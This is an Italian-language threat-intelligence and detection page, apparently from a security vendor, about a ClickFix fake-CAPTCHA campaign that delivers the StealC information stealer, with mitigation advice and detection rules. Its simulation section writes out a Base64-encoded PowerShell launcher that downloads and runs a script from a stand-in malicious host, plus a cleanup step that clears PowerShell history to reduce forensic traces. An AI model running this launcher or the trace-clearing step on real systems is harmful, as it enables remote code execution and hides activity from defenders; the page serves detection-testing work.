Come ClickFix apre la porta al furtivo StealC Information Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Un’intrusione multi-stadio senza file inizia su un sito di un ristorante vietnamita compromesso che ospita un CAPTCHA falso. Le vittime sono indotte a eseguire PowerShell che tira shellcode indipendenti dalla posizione, che caricano riflessivamente un downloader a 64 bit e iniettano il ladro di informazioni StealC in svchost.exe. StealC raccoglie le credenziali del browser, dati del portafoglio di criptovalute, credenziali di Steam e Outlook, dettagli dell’host e screenshot, quindi esfiltra tramite traffico HTTP crittografato RC4.
Indagine
I ricercatori hanno esaminato il loader JavaScript e PowerShell, confermato l’uso del framework Donut shellcode, e hanno seguito i prelievi HTTP del downloader verso URL controllati dagli aggressori. Il software stealer sembra essere un malware-as-a-service guidato da un builder con funzionalità modulari di furto, oltre a una routine di autoeliminazione. Le note di caccia includono un valore User-Agent di “Loader” e chiavi di registro specifiche legate alla messa in scena e all’esecuzione.
Mitigazione
Le difese raccomandate includono il limitare o disabilitare l’incolla da appunti nei browser, stringere le politiche di esecuzione di PowerShell, e generare allarmi su stringhe User-Agent insolite. Aggiungere il rilevamento per il caricamento riflettente di PE e l’iniezione di processi, e imporre l’ispezione HTTP in uscita per la consegna di payload codificati in Base64. L’educazione degli utenti sui simuli CAPTCHA fasulli dovrebbe essere trattata come un controllo, non un ripensamento.
Risposta
Se scoperto, isolare l’endpoint, fermare l’istanza svchost.exe iniettata, catturare dump della memoria per la revisione dello shellcode, e bloccare i domini/URL malevoli. Resettare le credenziali esposte, rivedere i reperti di registro e browser per l’impatto, e monitorare il traffico C2 residuo.
Flusso di Attacco
Rilevamenti
Possibile Uso di PING per Ritardo nell’Esecuzione (via cmdline)
Visualizza
Download File Sospetto IP Diretto (via proxy)
Visualizza
LOLBAS wmic (via cmdline)
Visualizza
Download o Upload via Powershell (via cmdline)
Visualizza
IOC (SourceIP) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
IOC (HashSha256) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
IOC (DestinationIP) da rilevare: Come ClickFix apre la porta allo StealC Information Stealer nascosto
Visualizza
Rileva Attività di Rete di StealC Information Stealer [Connessione di Rete Windows]
Visualizza
Rileva Iniezione di Processo tramite StealC in svchost.exe [Creazione Processo Windows]
Visualizza
PowerShell EncodedCommand e iex(irm) Rilevati [PowerShell Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il controllo preliminare di Telemetria e Baseline deve essere superato.
Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il resoconto DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante riceve una email di phishing contenente un URL corto. L’obiettivo è installare una backdoor remota PowerShell senza allertare l’utente. L’attaccante realizza un payload PowerShell codificato in Base64 che scarica uno script malevolo da un server C2 e lo esegue immediatamente usando
iex(irm…). Usa il-EncodedCommandswitch, l’attaccante nasconde i comandi reali da un’ispezione superficiale, e iliex(irm…)pattern corrisponde direttamente alla regola di rilevamento.-
Creare lo script malevolo (
payload.ps1) ospitato suhttp://malicious.example.com/payload.ps1. -
Codificare il comando del launcher:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Questo valore è usato nel passo successivo -
Eseguire il comando codificato sul bersaglio:
powershell.exe -EncodedCommand
Questo genera un evento Sysmon ProcessCreate dove
CommandLinecontiene-EncodedCommandand il testo decodificato includeiex(irm…), soddisfacendo la regola Sigma. -
-
Script di Test di Regressione:
#----------------------------------------------------------- # Script di Simulazione – Attiva PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Definisci URL dello script malevolo (sostituisci con il tuo server di test) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Crea la one‑liner che scarica ed esegue lo script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codifica il comando in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Avvia PowerShell con il comando codificato Write-Host "Esecuzione comando codificato..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulazione completata." -
Comandi di Pulizia:
# Rimuove qualsiasi file temporaneo creato dal payload simulato (se presente) # Esempio: elimina lo script scaricato se è stato salvato localmente $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Rimosso payload temporaneo." } # Facoltativamente, cancella la cronologia di PowerShell per ridurre le tracce forensi Clear-History